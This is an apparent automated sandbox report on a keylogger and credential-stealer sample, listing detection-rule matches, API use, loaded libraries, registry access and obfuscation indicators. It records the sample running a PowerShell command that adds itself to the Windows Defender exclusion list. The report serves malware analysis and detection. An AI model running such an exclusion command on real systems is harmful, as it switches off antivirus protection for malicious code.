Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000006.00000002.4617089897.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2219355172.000000000433C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 4876, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: 299371485_14108825808_1736351479899.exe PID: 6240, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 299371485_14108825808_1736351479899.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, -J--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, -J--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, .cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, -J--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, -J--.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, .cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.299371485_14108825808_1736351479899.exe.433c220.0.raw.unpack, .cs	Base64 encoded string: 'IAt1Sn9WWSxyQHsKau5SKWhFtGEX/6MJmf4asP6NIqmXal3SCVqCJZYVBBPIh0Bh'
Source: 0.2.299371485_14108825808_1736351479899.exe.437ec40.4.raw.unpack, .cs	Base64 encoded string: 'IAt1Sn9WWSxyQHsKau5SKWhFtGEX/6MJmf4asP6NIqmXal3SCVqCJZYVBBPIh0Bh'

Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, Ru23Huyb8mQLjC7BwH.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, Ru23Huyb8mQLjC7BwH.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, zuDh9WIx1svT8dxSDC.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, zuDh9WIx1svT8dxSDC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, zuDh9WIx1svT8dxSDC.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, zuDh9WIx1svT8dxSDC.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, zuDh9WIx1svT8dxSDC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, zuDh9WIx1svT8dxSDC.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, zuDh9WIx1svT8dxSDC.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, zuDh9WIx1svT8dxSDC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, zuDh9WIx1svT8dxSDC.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, Ru23Huyb8mQLjC7BwH.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, Ru23Huyb8mQLjC7BwH.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, Ru23Huyb8mQLjC7BwH.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, Ru23Huyb8mQLjC7BwH.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/6@3/3

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\299371485_14108825808_1736351479899.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6208:120:WilError_03
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Mutant created: \Sessions\1\BaseNamedObjects\hLvhfhxxgZpuoaCiTzlPTGdGpE

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j20hxsiw.zge.ps1

Jump to behavior

Source: 299371485_14108825808_1736351479899.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 299371485_14108825808_1736351479899.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 299371485_14108825808_1736351479899.exe	Virustotal: Detection: 29%
Source: 299371485_14108825808_1736351479899.exe	ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe"
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process created: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe"	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process created: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe"	Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 299371485_14108825808_1736351479899.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 299371485_14108825808_1736351479899.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 299371485_14108825808_1736351479899.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: HQYI.pdbSHA256 source: 299371485_14108825808_1736351479899.exe
Source:	Binary string: HQYI.pdb source: 299371485_14108825808_1736351479899.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, zuDh9WIx1svT8dxSDC.cs	.Net Code: tMj9M9Iyv6 System.Reflection.Assembly.Load(byte[])
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, zuDh9WIx1svT8dxSDC.cs	.Net Code: tMj9M9Iyv6 System.Reflection.Assembly.Load(byte[])
Source: 0.2.299371485_14108825808_1736351479899.exe.4ee0000.5.raw.unpack, MainForm.cs	.Net Code: _202D_206F_202D_200E_202A_206C_202A_202A_206D_200D_206C_206A_206A_202D_200D_206A_200D_200C_200E_200F_206B_206A_206B_202D_206A_206E_206C_200C_202E_200D_206B_206A_206A_206B_200F_202B_200C_202B_200E_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.299371485_14108825808_1736351479899.exe.37a99c8.2.raw.unpack, MainForm.cs	.Net Code: _202D_206F_202D_200E_202A_206C_202A_202A_206D_200D_206C_206A_206A_202D_200D_206A_200D_200C_200E_200F_206B_206A_206B_202D_206A_206E_206C_200C_202E_200D_206B_206A_206A_206B_200F_202B_200C_202B_200E_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, zuDh9WIx1svT8dxSDC.cs	.Net Code: tMj9M9Iyv6 System.Reflection.Assembly.Load(byte[])

Source: 299371485_14108825808_1736351479899.exe

Static PE information: 0xFBDE30D5 [Tue Nov 27 21:38:29 2103 UTC]

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 0_2_0272F210 push esi; retn 0004h	0_2_0272F21A
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 0_2_0272F21F push edi; retn 0004h	0_2_0272F22A
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 0_2_0272F188 push ebx; retn 0004h	0_2_0272F1A2
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 0_2_0D751B1F push esp; retn 5504h	0_2_0D751B96
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_06F0840C push es; retf F080h	6_2_06F08440
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_06F01580 push es; iretd	6_2_06F01604
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_06F0C1BF push es; ret	6_2_06F0C1C0
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Code function: 6_2_06F088DF push es; ret	6_2_06F088E0

Source: 299371485_14108825808_1736351479899.exe

Static PE information: section name: .text entropy: 7.7464499069030195

Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, qelLwRPCPsGUs6jdyY.cs	High entropy of concatenated method names: 'C4JlbnANLt', 'NEvl8YuQcg', 'NN6lCuaIGq', 'MBClKTQfSr', 'heTlBYamwi', 'CwvlISDKoB', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, ggXPZ5pdN41pIJs1V3.cs	High entropy of concatenated method names: 'ilnCo2TpYw', 'jQKCNctpwn', 'g3fCdhQ4Js', 'ToString', 'uj3C4FpJJS', 'SZ2C58A6MS', 'b5LeipymTSahZpCWtVI', 'a1NBaSy4kxFCjHZl6ot', 'qFDxGAyJuBOXAU3uP6S', 'bQbx4HyXSVlTNcxgB9W'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, KiBPZRUmpULxGIDG71.cs	High entropy of concatenated method names: 'vTOKf63TLf', 'Ck4K6KTSyh', 'mpoKMCphDT', 'QUvKvcuiCl', 'sWqKJLKTUR', 'AVkKEThFF6', 'qKhKO19hPd', 'PliKy3LrZg', 'DbjK2KXapj', 'UptKToYVXa'
